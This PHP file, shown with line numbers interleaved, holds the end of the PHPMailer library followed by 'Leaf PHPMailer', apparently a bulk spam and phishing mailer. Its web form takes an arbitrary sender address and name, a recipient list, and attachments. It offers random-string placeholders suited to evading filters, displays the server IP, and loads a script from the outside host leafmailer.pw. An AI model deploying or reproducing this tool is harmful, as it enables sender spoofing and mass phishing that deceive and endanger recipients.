        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
3585
            $DKIMsignatureType . '; q=' .
3586
            $DKIMquery . '; l=' .
3587
            $DKIMlen . '; s=' .
3588
            $this->DKIM_selector .
3589
            ";\r\n" .
3590
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
3591
            "\th=From:To:Subject;\r\n" .
3592
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
3593
            "\tz=$from\r\n" .
3594
            "\t|$to\r\n" .
3595
            "\t|$subject;\r\n" .
3596
            "\tbh=" . $DKIMb64 . ";\r\n" .
3597
            "\tb=";
3598
        $toSign = $this->DKIM_HeaderC(
3599
            $from_header . "\r\n" .
3600
            $to_header . "\r\n" .
3601
            $subject_header . "\r\n" .
3602
            $dkimhdrs
3603
        );
3604
        $signed = $this->DKIM_Sign($toSign);
3605
        return $dkimhdrs . $signed . "\r\n";
3606
    }
3607
    /**
3608
     * Detect if a string contains a line longer than the maximum line length allowed.
3609
     * @param string $str
3610
     * @return boolean
3611
     * @static
3612
     */
3613
    public static function hasLineLongerThanMax($str)
3614
    {
3615
        //+2 to include CRLF line break for a 1000 total
3616
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
3617
    }
3618
    /**
3619
     * Allows for public read access to 'to' property.
3620
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3621
     * @access public
3622
     * @return array
3623
     */
3624
    public function getToAddresses()
3625
    {
3626
        return $this->to;
3627
    }
3628
    /**
3629
     * Allows for public read access to 'cc' property.
3630
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3631
     * @access public
3632
     * @return array
3633
     */
3634
    public function getCcAddresses()
3635
    {
3636
        return $this->cc;
3637
    }
3638
    /**
3639
     * Allows for public read access to 'bcc' property.
3640
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3641
     * @access public
3642
     * @return array
3643
     */
3644
    public function getBccAddresses()
3645
    {
3646
        return $this->bcc;
3647
    }
3648
    /**
3649
     * Allows for public read access to 'ReplyTo' property.
3650
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3651
     * @access public
3652
     * @return array
3653
     */
3654
    public function getReplyToAddresses()
3655
    {
3656
        return $this->ReplyTo;
3657
    }
3658
    /**
3659
     * Allows for public read access to 'all_recipients' property.
3660
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
3661
     * @access public
3662
     * @return array
3663
     */
3664
    public function getAllRecipientAddresses()
3665
    {
3666
        return $this->all_recipients;
3667
    }
3668
    /**
3669
     * Perform a callback.
3670
     * @param boolean $isSent
3671
     * @param array $to
3672
     * @param array $cc
3673
     * @param array $bcc
3674
     * @param string $subject
3675
     * @param string $body
3676
     * @param string $from
3677
     */
3678
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
3679
    {
3680
        if (!empty($this->action_function) && is_callable($this->action_function)) {
3681
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
3682
            call_user_func_array($this->action_function, $params);
3683
        }
3684
    }
3685
}
3686
/**
3687
 * PHPMailer exception handler
3688
 * @package PHPMailer
3689
 */
3690
class phpmailerException extends Exception
3691
{
3692
    /**
3693
     * Prettify error message output
3694
     * @return string
3695
     */
3696
    public function errorMessage()
3697
    {
3698
        $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
3699
        return $errorMsg;
3700
    }
3701
}
3702
print '
3703
<head>
3704
    <title>Leaf PHPMailer</title>
3705
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
3706
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
3707
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
3708
    <script src="https://leafmailer.pw/style.js"></script>
3709
</head>';
3710
print '<body>';
3711
print '<div class="container col-lg-6">
3712
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
3713
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
3714
            <div class="row">
3715
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
3716
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
3717
            </div>
3718
            <div class="row">
3719
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>
3720
                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
3721
            </div>
3722
            <div class="row">
3723
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
3724
            </div>
3725
            <div class="row">
3726
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter</label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
3727
                <div class="form-group col-lg-6 "><label for="emailList">Email List</label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
3728
            </div>
3729
            <div class="row">
3730
                <div class="form-group col-lg-6 ">
3731
                    <label for="messageType">Message Type</label>
3732
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
3733
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
3734
                </div>
3735
                <div class="form-group col-lg-3 ">
3736
                    <label for="encode">Encode Type</label>
3737
                    <select class="form-control input-sm" id="encode" name="encode">
3738
                        <option value="UTF-8" selected>UTF-8 Encode</option>
3739
                        <option value="UTF-8">ISO Encode</option>
3740
                    </select>
3741
                </div>
3742
            </div> 
3743
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button>
3744
        </form>
3745
    </div>
3746
    <div class="col-lg-6"><br>
3747
        <label for="well">Instruction</label>
3748
        <div id="well" class="well well">
3749
            <h4>Server Information</h4>
3750
            <ul>
3751
                <li>ServerIP : <b>'.$_SERVER['SERVER_ADDR'].'</b></li>
3752
            </ul>
3753
            <h4>HELP</h4>
3754
            <ul>
3755
                <li>[-email-] : <b>Reciver Email</b></li>
3756
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
3757
                <li>[-emailuser-] : <b>Email User</b> (emailuser@emaildomain)</li>
3758
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
3759
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
3760
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
3761
                <li>[-randommd5-] : <b>Random MD5 </b></li>
3762
            </ul>
3763
            <h4>example</h4>
3764
            Reciver Email = <b>user@domain.com</b><br>
3765
            <ul>
3766
                <li>hello <b>[-emailuser-]</b> -> hello <b>user</b></li>
3767
                <li>your code is  <b>[-randommd5-]</b> -> your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
3768
            </ul>
3769
            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
3770
        </div>
3771
    </div>';    
3772
if($_POST['action']=="send"){
3773
    print '    <div class="col-lg-12">';
3774
    $maillist=explode("\r\n", $emailList);
3775
    $n=count($maillist);
3776
    $x =1;
3777
    foreach ($maillist as $email ) {
3778
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-5">'.$email.'</div>';
3779
        if(!leafMailCheck($email)) {
3780
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
3781
            print "<br>\r\n";
3782
        }
3783
        else {
3784
            $mail = new PHPMailer;
3785
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
3786
            $mail->addReplyTo(leafClear($replyTo,$email));
3787
            $mail->addAddress($email);
3788
            $mail->Subject = leafClear($subject,$email);
3789
            $mail->Body =  leafClear($messageLetter,$email);
3790
            $mail->CharSet = $encode;
3791
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
3792
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
3793
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
3794
                }
3795
            }
3796
            if($messageType==1){$mail->IsHTML(true);}
3797
            else {$mail->IsHTML(false);}
3798
            if (!$mail->send()) {
3799
                echo '<div class="col-lg-6"><span class="label label-default">'.$mail->ErrorInfo.'</span></div>';
3800
            }
3801
            else {
3802
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
3803
            }
3804
            print "<br>\r\n";
3805
        }
3806
        $x++;
3807
        for($k = 0; $k < 40000; $k++) {echo ' ';}
3808
    }
3809
}
3810
print '</body>';